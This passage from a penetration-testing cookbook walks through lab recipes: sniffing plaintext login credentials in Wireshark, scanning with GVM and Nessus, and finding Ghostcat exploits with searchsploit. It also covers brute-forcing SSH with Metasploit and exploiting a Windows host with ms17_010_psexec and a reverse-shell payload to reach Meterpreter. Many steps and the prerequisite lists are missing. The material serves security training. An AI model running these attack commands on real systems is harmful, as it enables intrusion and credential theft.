3. Once open, scroll down and expand Domain Name System (response), Queries, and
Answers.
From the output, you can see what was queried (in this example, [Link]) and
the responses. In this example, you will see nested CNAME entries ultimately resolving
to a list of valid IP addresses.
198 Wireshark Wizard: Network Traffic Demystified
How it works…
In earlier recipes, we demonstrated how to gather intel on DNS by actively querying DNS servers.
While this can be done both inside and outside a network, listening for and capturing the data
as shown in this recipe might be more beneficial. The internet was built on many insecure proto-
cols that had security added to them as an afterthought. However, much of it still runs without
security. There is a wealth of data to collect by passively listening to network traffic, especially
in ways that don’t attract attention.
See also…
More information on UDP packet analysis can be found at [Link]
Datagram_Protocol.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Ensure the BeeBox VM is up and running and obtain the VM’s IP address.
2. In the Wireshark capture field, enter the ip and (port 80 or port 8443) capture filter
and double-click on the interface connected to the VM network (for me, it is eth1).
3. You will likely see a few packets being captured, assuming you are on the correct network.
From here, open Firefox and browse to the IP address of the BeeBox VM (for my network,
[Link] You should see packets populating your capture as soon as you
initiate the connection.
200 Wireshark Wizard: Network Traffic Demystified
4. Log in to the page with the username bee and the password bug. Once logged in, you
may log out.
5. From within Firefox, browse to the secure page of BeeBox (in my example,
[Link] Once you initiate this connection, you will see the
packets displayed in Wireshark change color. You may need to accept a security warning
in Firefox.
Tip
If you have not noticed, the color coding of packets in Wireshark can be
changed to suit individual needs or tastes. However, the default color cod-
ing highlights TCP traffic in green, UDP traffic in blue, and potential issues
such as malformed packets or retransmissions in black or red, helping users
quickly spot relevant packets.
6. Log in to the portal using the same username and password. Once logged in, you may
log out and close Firefox.
7. Stop the capture by selecting the red stop button at the top.
8. Scroll through the capture and find the packet with the POST /BWAPP/[Link] info
descriptor. From there, expand the HTML form in the box in the lower left. You will see
the username and password you used to log in.
Tip
While many things have moved to secure means using TLS, you will occa-
sionally find unencrypted HTTP traffic on internal networks. You only need
one legacy application to catch someone’s credentials.
9. Scroll further down, look for the Server Hello, Certificate… packet, and double-click it
to bring up the packet decoder screen.
10. Scroll through the packet decoding and open up the certificate information. You will note
that it provides significant detail regarding the organization.
11. Once you exit out of the packet decoding, look for a packet named Change Cipher Spec
and double-click on it to open the decoder.
12. Scroll down and you will see the negotiation of the TLS version.
Tip
13. You may now close the decoder and close Wireshark.
How it works…
Wireshark’s HTTP and TLS analysis breaks down each layer of communication. For HTTP, Wire-
shark reads plain text headers, methods (such as GET or POST), and response codes, making it sim-
ple to spot vulnerabilities or sensitive data in transmissions. When encrypted with TLS, Wireshark
interprets the handshake process and key exchange details; however, the decryption of packet
contents usually requires access to private keys or session keys. This layered approach reveals
whether data is transmitted securely or susceptible to interception.
See also…
More information on HTTP and TLS packet analysis can be found at the following sites:
• [Link]
• [Link]
Getting ready
You need the following to complete this recipe:
How to do it…
1. From the Kali interface, open the Firefox browser and navigate to [Link]
org/SampleCaptures#network-time-protocol.
2. Download the NTP_sync.pcap file.
Your window will open with all packet and payload information present.
Tip
This process is the same if you captured the packets and wanted to export
them to a specific format.
Tip
.pcap is the traditional file format for storing packet capture data, primarily
containing the raw packets along with basic timestamp and length informa-
tion. .pcapng allows storing info on multiple interfaces with per-interface
metadata, packet comments, and enhanced timestamp precision.
208 Wireshark Wizard: Network Traffic Demystified
8. Select the pcapng format, provide a name for the file, and select Save.
How it works…
PCAP, or packet capture, files are commonly used for storing raw network traffic, making them
essential for security analysis, troubleshooting, and forensic studies. When you load a PCAP file
into Wireshark, you import a snapshot of network packets. Often, you will capture traffic from
devices you have exploited as part of your penetration test. Wireshark decodes these packets
and allows you to apply filters, examine statistics, or investigate anomalies. This import process
enables a thorough review of captured traffic.
See also…
More information about working with .pcap files or other formats can be found at [Link]
[Link]/docs/wsug_html_chunked/[Link].
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require one.
6
Weaknesses Exposed:
Advanced Vulnerability Analysis
In this chapter, we will dive into advanced vulnerability analysis by focusing on two scanning
solutions: Greenbone Vulnerability Management (GVM), formerly OpenVAS, and Nessus. We
begin by walking you through the initial setup procedures. From there, we’ll guide you through
basic scanning techniques—ideal for quickly identifying common security flaws—before pro-
gressing to more advanced, targeted scans that reveal hidden or deeply embedded threats in the
target systems.
You’ll first explore GVM, an open source framework recognized for its adaptability and robust
scanning features. After that, you’ll discover Nessus, known for its user interface and plugin
library. By using these tools, you’ll gain a view of modern vulnerability scanning practices and
learn how to tailor scans to suit your objectives.
Technical requirements
All of the recipes in this chapter can be conducted within the VirtualBox environment and orig-
inate from the Kali VM.
In 2008, Greenbone became the primary contributor to OpenVAS, ultimately transforming it into
a commercial product while maintaining a robust community edition. Some confusion may arise
throughout the instructions, interface, and documentation due to the substantial incorporation
of their branding into the product. To clarify, we are using the community edition of OpenVAS
(GVM) that Greenbone supports as part of its commercial offering.
Getting ready
You need the following to complete this recipe:
How to do it…
1. From the Kali interface, open a terminal window.
2. Let’s ensure Kali Linux is entirely up to date in preparation for the GVM installation. Enter
the following and provide your password if requested:
sudo apt update && sudo apt full-upgrade -y
3. Once the update is complete, reboot by entering the following and providing your pass-
word if requested:
sudo shutdown -r now
Chapter 6 211
4. Once the system boots, log back in and open a terminal window.
5. From the terminal window, install GVM by entering the following command and providing
your password if requested:
sudo apt install gvm -y
Tip
You can substitute gvm for openvas in the preceding command and it will
still install GVM, as openvas is an alias for gvm.
7. If you receive an error like the one in Figure 6.1, a few steps must be taken to correct it. If
you have not received this error, move to step 18.
The error indicates that you probably have two or more versions of PostgreSQL installed.
GVM wants to use PostgreSQL version 17; however, it recognizes version 16 as the one on
port 5432.
Tip
9. Scroll and look for port = and record the number (5433).
12. Now, we must change the older version of PostgreSQL to the other port number. Enter
the following command and acknowledge your password if requested:
sudo nano /etc/postgresql/16/main/[Link]
13. Look for port = 5432 and change it to the one recorded earlier (5433).
14. Press Ctrl + X and Y to save and exit.
15. Reboot the system by entering the following, providing your password if required:
sudo shutdown -r now
16. When the system is back up, log back in and relaunch the terminal window.
17. To begin the setup process again, enter the following:
sudo gvm-setup
18. As the setup processes run, please pay special attention to the output; it will provide you
with a generated password for the admin user. Record this password.
Tip
19. Once complete, check the setup by entering the following, providing your password if
required:
sudo gvm-check-setup
214 Weaknesses Exposed: Advanced Vulnerability Analysis
20. Look for the message stating that your installation is OK.
Tip
Your services should already be up and running, but there are a couple of
commands that you will need to be familiar with the following:
21. To access the web interface, go to [Link] You may receive a certificate
error. If you do, click Advanced… | Accept the Risk and Continue.
22. Log in with the username admin and the password you provided earlier.
23. You might not want to enter a long password and would prefer something else. Close the
web browser and open the terminal window. To change the admin password, enter the
following, substituting XXXXX with your preferred password:
sudo -u _gvm gvmd --user-admin --new-password=XXXXX
Chapter 6 215
How it works…
In this recipe, you went through installing GVM, correcting any conflicts with PostgreSQL, updat-
ing feeds, changing the admin password, and, finally, starting the system and logging in.
See also…
More information on installing GVM in Kali can be found at the following website: https://
[Link]/docs/latest/22.4/kali/[Link].
Getting ready
You need the following to complete this recipe:
How to do it…
1. We must define our subnet as a scan target. From the web interface, select Configuration
| Targets from the menu at the top and then click on the new icon.
Tip
Please note that this scan will take a very long time (hours). It might be best
to start it at the end of the day and return to it in the morning.
2. In the New Target dialog, choose a descriptive name, and in the Hosts | Manual field, add
the subnet of your VM network (mine is [Link]/24). Then, select Save.
3. Next, we will create a new scan task. From the menu, select Scans | Task and select the
new icon.
4. In the New Task dialog box, provide a name for the scan target and select the previously
created target from the Scan Targets dropdown. For Schedule, select Once and then
click Save.
5. You will now see your new task on the screen with a New status, highlighted in green.
Click the play icon on the bottom right to start the scan.
At this point, the scan has started. This scan may take several hours to complete, so be
patient.
6. In the middle of the screen, to the right of the new scan, under the column named Reports,
look for 1. Click on it to watch what’s being discovered and what information you are
gathering. Figure 6.11 shows an example of the report screen.
7. You can also click on Dashboards at the top of the screen to get an overview of what
has been recorded. Figure 6.12 presents an example of the report screen after clicking on
Dashboards.
Chapter 6 219
8. From the menu, click Scans | Task. This will return you to your task list. Once your task
has been completed, you will see Done, highlighted in blue.
9. Click on Scan | Reports and you will see the one task that we ran. You can click on the
date to go into the report’s details.
10. From here, click through the top options to see all the information collected and available
to you.
11. Now, click on Results and scroll down to see whether you can find SSH Brute Force Logins
With Default Credentials Reporting, and select it. You will be shown that it was possible
to log in with the username and password vagrant.
How it works…
GVM conducts a network scan by probing identified hosts and services, applying a range of vul-
nerability checks to detect potential security flaws. Once the scan is completed, GVM compiles
these findings into a detailed report, highlighting each discovered vulnerability. This report will
allow you to target hosts with specific vulnerabilities using the proper techniques.
See also…
For more information on scanning targets, please see the Greenbone documentation at https://
[Link]/GCS-Manual/gcs/en/[Link]#configuring-a-simple-scan-
manually.
Getting ready
You need the following to complete this recipe:
How to do it…
1. If you found credentials during your discovery, you can add those credentials to the target
to be scanned. Do this by selecting Configuration | Credentials and then selecting the
new icon.
Tip
You can add the following types of credentials: Username + Password, Us-
ername + SSH Key, SNMP, S/MIME Certificate, PGP Encryption Key, and
Password Only.
Chapter 6 223
2. For your new credential, add a name, and the type will be Username + Password. Select
Yes for Allow insecure use, and for Username and Password, enter vagrant. Once done,
click Save.
Tip
3. We will add a new target for our scan from the GVM web interface. Select Configuration
| Targets from the menu at the top. Then select the new icon.
Tip
You can create, modify, and delete targets from the Targets screen.
4. In the New Target dialog box, add a name and the Windows host IP next to Manual. Also,
add the previously created credentials for SSH and SMB. Once done, click Save.
Chapter 6 225
5. You can now add a new task by selecting Scans | Task and selecting the new icon.
226 Weaknesses Exposed: Advanced Vulnerability Analysis
6. Add a name to the New Task dialog and select the scan target you created. You can make
this an alterable task to change in the future if you desire. Select Save.
7. Try initiating the task, allow it to run, and review the results.
8. To discover additional options available to configure, take some time and create new scan
tasks, altering the configuration options. However, it’s important to note that the Full
and fast option under Scan Config carries out a very exhaustive scan.
How it works…
An authenticated scan provides deeper vulnerability insights by combining external network
probing with internal checks via valid user credentials. It enables local security checks (LSCs)
that are minimally invasive. Although the scan requires prior credential setup and may be limited
by user permissions, it does not change the target system beyond generating a risk-level assess-
ment. The target’s protocols are likely to record the login activity.
See also…
For more information on advanced scanning, please look at the Greenbone documentation
at [Link]
authenticated-scan-using-local-security-checks.
Setting up Nessus
In this recipe, we will guide you through installing and configuring Nessus, covering everything
from signing up for a license to running the initial setup wizard. You’ll discover how Nessus’s
interface streamlines plugin management and scan customization. By the end of this section, you
will have Nessus configured and ready to identify vulnerabilities.
Getting ready
You need the following to complete this recipe:
How to do it…
1. From the Kali interface, open a terminal window.
2. Let’s ensure Kali Linux is entirely up to date in preparation for the Tenable Nessus instal-
lation. Enter the following and provide your password if requested:
sudo apt update && sudo apt full-upgrade -y
228 Weaknesses Exposed: Advanced Vulnerability Analysis
3. Once the update is complete, reboot by entering the following and providing your pass-
word if requested:
sudo shutdown -r now
4. Once the system boots, log back in and open the web browser.
5. Navigate to [Link]
6. The defaults should be fine. However, to verify, select the latest version. For installation
in Kali, select Linux | Ubuntu | amd64 (for 64-bit operating systems). Select Download
to download the installation package.
7. Once the download is complete, you may close your web browser.
8. To begin the installation, open a terminal window and enter the following commands:
cd ~/Downloads
ls #This will display the directory contents so you can get the
filename of Nessus
sudo apt install ./Nessus-10.8.3-ubuntu1604_amd64.deb
Chapter 6 229
Tip
9. Once complete, the services should be automatically started; however, if not, to start the
service, enter the following:
sudo /bin/systemctl start [Link]
230 Weaknesses Exposed: Advanced Vulnerability Analysis
Tip
If you want to stop the Nessus service, use the following command:
sudo /bin/systemctl stop [Link]
Tip
If you have a problem navigating to the preceding site, try the following:
[Link]
You will get a Tenable Nessus screen from the web browser, providing some details of the
initialization process.
12. You will be asked to register for an account. Click Continue to complete the registration.
13. On the next screen, select Register for Nessus Essentials and click Continue.
Tip
Nessus Essentials is the free, open source version of the software. However,
it limits you to the number of hosts you can scan.
14. Provide a first name, last name, and email, then click Register.
Tip
15. You will receive your license information in the form of an activation code. I suggest not-
ing down this information in case you need to reinstall the software. When ready, click
Continue.
232 Weaknesses Exposed: Advanced Vulnerability Analysis
16. On the next screen, enter a username and password of your choice and click Submit.
17. You will briefly see a screen saying Setup Complete followed by an initializing screen
with a progress bar. Please be patient as the installation continues.
18. Next, the screen will change to the primary user interface. However, installation steps
are still being completed in the background. In the upper right-hand corner, you will see
a rotating circle indicating that the initialization work is still being completed. You may
click the link to learn more about the tasks being performed.
19. Once the circle disappears, the tasks have been completed, and the system is fully avail-
able to you.
How it works…
As part of the Nessus installation process, we performed a Kali system update and upgrade to
ensure it was current. After downloading and installing the Nessus package, we activated the
Essentials (free) license, which triggered the initialization process. During this stage, Nessus
automatically downloaded and integrated a wide array of plugins. Plugins are detection scripts
that allow Nessus to identify known vulnerabilities across operating systems, applications, and
network services.
The web-based interface simplifies the management of these plugins by allowing users to view
plugin categories, enable or disable specific plugin families, and control how aggressively scans
are conducted. Additionally, scan customization is intuitive as the interface aligns plugins into
clear categories, such as Discovery, Assessment, and Credentials. Nessus’s ability to extend its
capabilities through plugins allows you to greatly customize it to your needs.
See also…
More information on installing Nessus can be found at [Link]
Content/[Link].
Getting ready
You need the following to complete this recipe:
How to do it…
1. On the Nessus web interface, click on the Scans tab and then the New Scan button.
3. On the New Scan page, enter a name and set Targets as your VM subnet ([Link]/24).
Before you click Save, go through all the settings on the left to see the available options.
When ready, click Save.
4. You will be returned to the scan window. Now start the scan by clicking on the play button.
Tip
6. On the scan progress screen, click on the Hosts and Vulnerabilities tabs at the top to
review what has been discovered.
7. The scan is done when the status shows as Completed on the right.
8. Explore the details of the vulnerabilities by clicking on any of the entries on the screen.
How it works…
A basic Nessus scan checks each IP address within a specified subnet, probing each host for open
ports, banners, and potential vulnerabilities. It checks for misconfigurations, outdated software,
and known exploits, and then classifies the findings. Nessus allows penetration testers to identify
and target vulnerabilities across the entire subnet quickly. Additionally, authenticated scans can
provide more complete results.
Interpreting this report is a critical step for penetration testers. It allows you to prioritize your next
actions by focusing on high-severity vulnerabilities that offer potential attack vectors. The report
interface includes summary dashboards, individual host risk profiles, and detailed plugin results.
By evaluating the results, you can create a roadmap of who to target first and by what means.
See also…
More information on Nessus scans can be found at the following site: [Link]
com/nessus/Content/[Link].
Getting ready
You need the following to complete this recipe:
How to do it…
1. On the Nessus web interface, click on the Scans tab and then the New Scan button.
2. From the Scan Templates menu, select Advanced Scan.
3. On the New Scan page, enter a name and set Targets as your Windows Metasploitable
VM ([Link]).
4. Select DISCOVERY | Port Scanning. Scroll down to the bottom. Under Network Port
Scanners, select TCP, UDP, and SYN.
5. Select DISCOVERY | Service Discovery. For Search for DTLS on, select Known DTLS ports.
6. Select DISCOVERY | Identity. Select Collect Identity Data from Active Directory.
7. Select ASSESSMENT | Windows. Select Request information about the SMB Domain.
8. At the top, select Credentials | Windows. From there, add a username and the password
vagrant.
9. Before you save, I want to point out one setting that will allow the scan to brute force
accounts. Go to ASSESSMENT | Brute Force; you will see the selection for Hydra. This is
a tool we will learn about in a future recipe; however, I wanted to show that it’s built into
Nessus to brute force system credentials.
Tip
This scan will take approximately two hours to complete. Credential check-
ing and policy tuning can help improve the performance of longer scans and
can also affect accuracy.
How it works…
Advanced targeted scans affect additional features, plugins, and capabilities to help better iden-
tify vulnerabilities that hosts may have in the target environment. Nessus probes will go much
deeper, and information from previous activities can be used to help enrich the scan to provide
better visibility.
See also…
More information on Nessus scans can be found at the following site: [Link]
com/nessus/Content/[Link]. Additional information on exporting result reports in various
formats can be found at [Link]
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require one.
7
Exploitation Unleashed: Finding
the Hidden Flaws
In any penetration test, the exploitation phase is where the most critical information gathering
takes place. After gathering information and identifying potential weaknesses, your next step is to
exploit these gaps to gain access and prove the viability of an attack vector. By choosing the right
exploits, you can break into a target system, demonstrating the risks a network has. At this stage,
you transition from passive observation to active penetration. You choose and configure exploits,
manage payloads, coordinate efforts with others, and maintain control over compromised systems.
In this chapter, you will explore how to find the vulnerabilities that match the discovered exploits,
searching local and remote databases to uncover the perfect tool for each job. You’ll dive deep into
tools such as Metasploit, and you will learn how Armitage can visualize the target environment
and enable team-based collaboration, while tools such as Yersinia will allow you to exploit the
network.
• Setting up Armitage
• Visualizing the target
• Collaborative hacking
• Using Yersinia to attack network protocols
Technical requirements
All of the recipes in this chapter can be conducted within the VirtualBox environment and origi-
nate from the Kali VM. You will also need to access some resources on the web.
Getting ready
You need the following to complete this recipe:
How to do it…
1. First evaluate which vulnerabilities you would like to explore.
If you skipped the previous chapter, you can use a quick Nmap scan of the Metasploitable
Windows and Linux hosts. An example scan is nmap -–script vuln <ip address>.
When determining which vulnerabilities to attack, ensure your target host has meaning-
ful vulnerabilities. You are looking for the few machines in a network, potentially out of
thousands, with significant vulnerabilities.
Chapter 7 247
2. Review the Nessus vulnerability report. You will now see that the top four targets have the
most vulnerabilities, and the others are probably not worth targeting, as shown in Figure 7.1.
Most reporting uses the Common Vulnerability Scoring System (CVSS), which rates
vulnerabilities from 0 to 10. The higher the score, the more damaging the vulnerability is
and the more trivial it is to exploit.
3. Start reviewing the highest CVSS score and work your way down.
Tip
Note that you may need to string exploits of different vulnerabilities together
to reach a desired outcome. This tactic is called exploit chaining.
4. Select a host. You will be provided with a list of vulnerabilities from highest to lowest.
5. Select the Apache Tomcat AJP Connector Request Injection (Ghostcat) vulnerability
for this recipe to see its details:
6. Scroll down to get the CVE number on the lower right. The CVE is an identifier of a specific
vulnerability. In this case, you will see that we have two CVEs identified: CVE-2020-1745
and CVE-2020-1938:
How it works…
In this recipe, you begin using all the information you have collected to research the targets and
start exploiting the target network. You made sound judgments of the correct hosts to target and
the vulnerabilities to exploit. By matching CVEs with specific exploits, you move from finding
vulnerabilities to actionable penetration testing. This process is very important in enterprise
networks, where dozens of vulnerabilities might be listed, but only a few are exploitable due to
network configuration, active protection mechanisms, or other mitigations.
See also…
More information on CVEs can be found at [Link] and for more
information on CVSS, you can access [Link]
Chapter 7 249
Getting ready
You need the following to complete this recipe:
How to do it…
1. First, update your database by opening a terminal window and entering the following,
providing your password as required:
sudo searchsploit -u
Tip
Updates come out a few times a month; therefore, you should run this com-
mand regularly to keep your database updated.
We will focus on the Apache Tomcat software and the two CVEs we discovered in the first
recipe: 2020-1938 and 2020-1745.
3. Examine the output to understand the capabilities and options that searchsploit offers.
These options can help you better identify and search for exploits.
4. To perform a standard search on the CVE, use the --cve switch, as shown here:
searchsploit --cve 2020-1938
In the output, you will see path information that points you to either the exploit code
or to documentation on the vulnerability and how to exploit it. Also, there may be docu-
mentation or other pertinent information.
Chapter 7 251
6. Look at the output—does it seem correct? We were searching for a vulnerability related to
Apache Tomcat (a piece of software), but the output mentions a router and provides a path
to a hardware exploit. That’s because this is not for CVE 2020-1745 but for 2020-17456.
7. So, now that you see that error, use the following to exclude that result using the following:
searchsploit --cve 2020-1745 –exclude="2020-17456"
Unfortunately, now you will be shown that there are no results in the CVE 2020-1745
database. This is because it is not included in their database. This may be due to the type
of vulnerability or its popularity.
252 Exploitation Unleashed: Finding the Hidden Flaws
8. Return to CVE 2020-1938 (used in step 4) using the following and look at some of the
results as shown in Figure 7.7:
nano /usr/share/exploitdb/exploits/multiple/webapps/[Link]
Tip
For exploit papers, the directory that should be prefixed to the result is the
following: /usr/share/exploitdb/exploits/.
9. In this particular case, they are providing you with a full Python program. Many artifacts
may be included when you review exploits, which could include sample exploit code, a
detailed paper, mitigation information, and detailed vulnerability information.
10. To review the paper associated with the Ghostcat vulnerability, you need to get the path
to look at, as I believe the one provided is truncated. Type the following command, and
instead of hitting Enter, hit Tab to expand it:
ls /usr/share/exploitdb-papers/docs/english/49716-apache-ghostc
Chapter 7 253
Tip
For exploits the directory that should be prefixed to the result is the following:
/usr/share/exploitdb-papers/.
11. Open Firefox and paste that result in the search box, and the file will open:
How it works…
We began by updating the local exploit database using searchsploit, which ensures we have
access to the most recent exploits even if we’re working in a network-isolated environment. By
searching for CVEs identified during vulnerability scanning (such as CVE-2020-1938, a critical
flaw in Apache Tomcat), we were able to locate the corresponding exploit code and documenta-
tion stored locally on Kali.
We also learned how to filter out false positives and refine searches to zero in on the exact vul-
nerabilities we are interested in. Lastly, we explored accessing proof-of-concept exploit scripts
and detailed research papers that explain how the vulnerabilities function.
254 Exploitation Unleashed: Finding the Hidden Flaws
See also…
More information on searchsploit can be found at [Link]
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open Firefox or another web browser and navigate to [Link]
2. Start by searching for CVE 2020-1745. You will see the same results as we received using
searchsploit.
Again, you will be shown the wrong result. If you select the result title, you will find it
much easier to notice that you have the wrong result.
3. Using the advanced search in the upper right will make it much easier to get to the required
results. By searching for 2020-1745 under CVE, you will see that there will be no results
listed as opposed to the improper results displayed earlier.
Chapter 7 255
4. Now search for the next vulnerability—CVE 2020-1938. You will see two results returned
related to Ghostcat, which will allow you to obtain additional information.
5. Select the top entry to dive into the exploit information further. You will see that the same
Python code is presented as was with searchsploit. Note the two icons to download or
see the code in raw format next to Exploit.
6. Select the paper icon from the left-side menu bar and search for 2020-1938. You will find
the same paper as found with searchsploit.
7. As a last exercise, select the Google Hacking Database (GHDB)—it is the third icon on
the left-hand side menu—and try doing some searches related to the queries we ran. This
is an additional benefit of the online ExploitDB site.
How it works…
ExploitDB is the online version of searchsploit. We conducted the same searches as we did with
searchsploit and obtained the same results. Most people will generally find visiting the website
easier and more convenient. However, you cannot always depend on having an internet connection.
See also…
More information is available at [Link]
Chapter 7 257
Setting up Metasploit
In this recipe, we’ll guide you through the initial setup and configuration of Metasploit, one of
the best tools for exploitation. You’ll learn how to properly set up your environment and create
a stable environment to conduct your pentesting activities. By the end, you’ll be ready to put
Metasploit to work.
Metasploit has earned its place as one of the most widely used tools due to its versatility, ease of
use, and powerful capabilities. It brings together a vast collection of exploits, payloads, scanners,
and post-exploitation tools into a single, unified framework. It has a robust development com-
munity that is continually adding to its functionality and providing frequent updates.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open a terminal window.
Metasploit comes already installed in Kali; however, if it is not present, based on your
package selection, use the following commands:
sudo apt update && sudo apt full-upgrade -y
sudo apt install metasploit-framework
sudo msfdb start
3. Next, start the console by entering the following, and you will see the initial startup screen
as shown in Figure 7.15:
msfconsole
258 Exploitation Unleashed: Finding the Hidden Flaws
4. Since Metasploit was installed as a package, it is updated using the package manager apt
update and apt upgrade commands. However, if you did not use a package manager, use
the following command to update it:
msfupdate
5. Now check your database status from within msfconsole by entering the following:
db_status
You will see the database type and an indication that it’s connected to the database.
6. Now type the following to see some global options that you may want to modify:
show options
12. Lastly, to exit msfconsole and return to the shell, enter the following:
exit
How it works…
In this recipe, we initialized and configured the Metasploit Framework. Metasploit requires a
properly configured database to store information about hosts, services, credentials, and vul-
nerabilities. By starting msfconsole and verifying the database connection with db_status, we
verified that Metasploit is ready to collect data and organize the data it has collected. We further
learned how to adjust global framework settings. Understanding how to modify and save these
settings ensures consistency and the ability to adjust Metasploit to better suit your needs.
See also…
More information on the installation of Metasploit can be found at [Link]
com/docs/using-metasploit/getting-started/[Link].
Getting ready
You need the following to complete this recipe:
How to do it…
1. Understanding some basic Metasploit database commands will be helpful. From an open
terminal window, check the status of the database with the following command, entering
your password as needed:
sudo msfdb status
Tip
You may want to stop the database after using Metasploit to conserve re-
sources. Also, you will need to restart it upon reboot if you have not set it
to start at boot.
5. Assuming the database is running, go into the Metasploit console with the following:
msfconsole
As a pentester, you may simultaneously work on several clients or projects that need
separation. In Metasploit, you do this with workspaces.
262 Exploitation Unleashed: Finding the Hidden Flaws
You will see that there is only one, called default, and you are currently in it.
7. Now add two workspaces with the -a modifier, named project1 and project2:
workspace -a project1
workspace -a project2
8. Now take another look at your workspaces with the following command:
workspace
You will now see the two new workspaces. Note that the last one you added is the one in
use, denoted in red with the asterisk.
9. Type the following to change to an existing workspace and verify the change:
workspace project1
workspace
10. Now delete project2 by using the -d modifier and look at your workspaces again, as
follows:
workspace -d project2
workspace
Chapter 7 263
You will now see that project2 is gone and you have been moved to project1.
11. Sometimes, you may need to record everything you are doing in msfconsole so you can
easily retrace your steps if required. Sometimes you may be jumping between different
projects and want to keep track, and other times it might prove valuable to your client
to provide more detailed information. To start logging your commands, use the spool
command:
spool /home/kali/[Link]
13. Metasploit will collect various information while you are working on your project or cli-
ent. You can display this information in a report format using the db_export command:
db_export -f xml -a /home/kali/project1_report.xml
How it works…
In this recipe, you learned basic database commands for Metasploit along with the ability to sep-
arate your work into different workspaces and switch between them. You learned how to capture
all your work with the spool command and lastly output the information collected during your
sessions with the db_export command.
Chapter 7 265
See also…
For more information on the Metasploit commands, please review the following website: https://
[Link]/.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open a terminal window and start the Metasploit console using the following:
msfconsole
2. Type the following to make sure you are in the project1 workspace:
workspace project1
3. In Chapter 4, Nmap Mastery, you used Nmap to enumerate and scan targets. To do the
same in Metasploit, type the following:
db_nmap -sV [Link]/24
When done, you will see that the results were collected.
6. Let’s use a scanner that is part of Metasploit that will help you gain more information
regarding SMB. Type the following:
use auxiliary/scanner/smb/smb_version
Chapter 7 267
7. Once loaded, you can use the following command to see what options are available (as
shown in Figure 7.26) with this scanner and which ones are required:
options
8. Set any required field and adjust optional or default set parameters as follows:
set THREADS 10
set RHOSTS [Link]/24
9. To run the scanner, which may provide additional information to the database about the
SMB versions, type the following:
run
Tip
The rockyou wordlist is famous and has been a hacking staple for many years.
However, many more wordlists can be found by searching on the internet.
A more targeted wordlist will reduce the amount of noise the attack creates,
reducing the likelihood of discovery. Remember to use information about
your target and the environment to help you select the best wordlists. Years
ago, I was pentesting for an organization in a certain industry that used a
lot of Latin terms, so loading a Latin-based wordlist found several more hits.
You’ll find wordlists for various types of credentials, ranging from usernames and pass-
words to SQL, Wi-Fi, and more.
Let’s run a brute force against SSH as an example. Brute-forcing can be a noisy endeavor,
possibly alerting the security team to your presence, but it can be beneficial against the
correct type of targets. However, brute-forcing can also take a very long time, so we are
going to use a shortcut for example purposes.
15. Add a few words to the list and make sure that vagrant is one of them (don’t make it the
first or the last for demonstration purposes). Then, press CTRL + X followed by Y to save
and exit.
16. Close this terminal window. Return to the Metasploit console and enter the following:
use auxiliary/scanner/ssh/ssh_login
set VERBOSE true
set RHOSTS [Link] (use the IP of your Metasploitable3 Linux
Machine)
set USER_FILE /home/kali/cookbook_wordlist.txt
set PASS_FILE /home/kali/cookbook_wordlist.txt
run
270 Exploitation Unleashed: Finding the Hidden Flaws
You will see that vagrant:vagrant was found to be a successful username and password
pair:
Tip
With verbose on, you can watch it try all the accounts in real time.
17. You can also see that the database automatically captured this information by using the
following command:
creds
18. You can now exit msfconsole with the following command:
exit
How it works…
We started with a basic Nmap scan that included service discovery. We expanded that scan by
gathering more information on SMB versions. Finally, we used a brute-force attack against SSH on
one of the hosts we discovered during the initial scan. We further demonstrated how Metasploit
captures this information for us.
Chapter 7 271
See also…
For more information on scanning and enumerating hosts, review the following website: https://
[Link]/.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open a terminal window and start the Metasploit console as follows:
msfconsole
2. Type the following to make sure you are in the project1 workspace:
workspace project1
3. You will now use an exploit against your Windows target machine. To begin, load your
exploit as follows:
use ms17_010_psexec
You will see that the exploit is loaded and that a default payload has been selected.
4. To look at all the payloads and options, you can enter the following:
show payloads
272 Exploitation Unleashed: Finding the Hidden Flaws
5. To select a different payload, enter set PAYLOAD with the payload after it:
set PAYLOAD windows/shell_reverse_tcp
7. To see all of the options (as shown in Figure 7.31), enter the following:
options
Tip
Note that some options are required and some options will be pre-populated
with default values, which may be incorrect.
Chapter 7 273
Tip
LHOST had to be set because I’m on a dual-homed network and could not
open a connection back to the LHOST IP used as the default.
9. To see the likelihood of the success of this attack (as shown in Figure 7.32), you can use
the check command:
check
11. You have now initiated a Meterpreter shell attached to the remote machine. This shell
is a powerful environment that allows you to do many things. Start by just entering a ?
character to see all the options.
12. Now change to the vagrant user’s home directory and list its contents:
cd /users/vagrant
dir
274 Exploitation Unleashed: Finding the Hidden Flaws
13. You can get a screenshot of the local machine using the following:
screenshot
How it works…
In this case, we launched an exploit against the Windows target machine. An exploit is necessary
to bypass a device’s security and obtain access to further exploit the machine, which could in-
clude accessing files and taking remote control of the machine. The payload runs on the machine
after it has been exploited to yield the desired result, representing the second stage of the attack.
Meterpreter is a powerful session designed to create a robust environment where we can utilize
our new access.
See also…
To get more information on the Meterpreter shell, please see the documentation at https://
[Link]/docs/using-metasploit/advanced/meterpreter/[Link].
Setting up Armitage
In this recipe, we’ll guide you through setting up Armitage, a graphical user interface (GUI) for
Metasploit that streamlines the exploitation process. You’ll learn how to install Armitage and
configure it to connect with Metasploit. Once set up, Armitage offers an intuitive, visual approach
to managing targets and launching attacks.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open a terminal window and ensure the Metasploit database is running, as follows:
sudo msfdb status
You will see installed at the end of the output if it’s ready.
5. Now change to the metasploit-framework directory and start the RPC server:
cd /usr/share/metasploit-framework
msfrpcd -p 55553 -U msf -P password -f -S
The RPC server command sets the port, user, and password. I further tell it to run in the
foreground with -f and I shut off SSL with -S.
6. Now start Armitage by opening a new terminal window and entering the following:
armitage
7. You will be prompted with a window to enter the connection details, such as the host,
port, username, and password we used with the RPC daemon in step 5.
How it works…
Armitage is currently unmaintained and can be finicky. You may find various types of issues that
may require you to restart it or result in obtaining different results with the same commands.
Many users often enjoy the GUI it provides when they first start their pentesting journey, but
after a short time, they usually revert to console commands. However, at the beginning of your
journey, Armitage can be critical for exposing Metasploit’s capabilities.
Also, while Armitage can automatically start the RPC daemon, from experience, I can tell you
that it’s not advisable, as it can crash the daemon in an unrecoverable state, requiring a reboot
to restore functionality.
There’s more…
To dive deeper into the Armitage setup and troubleshooting, Rapid7 has provided documentation
for common issues such as RPC daemon connection errors and GUI rendering problems. Addition-
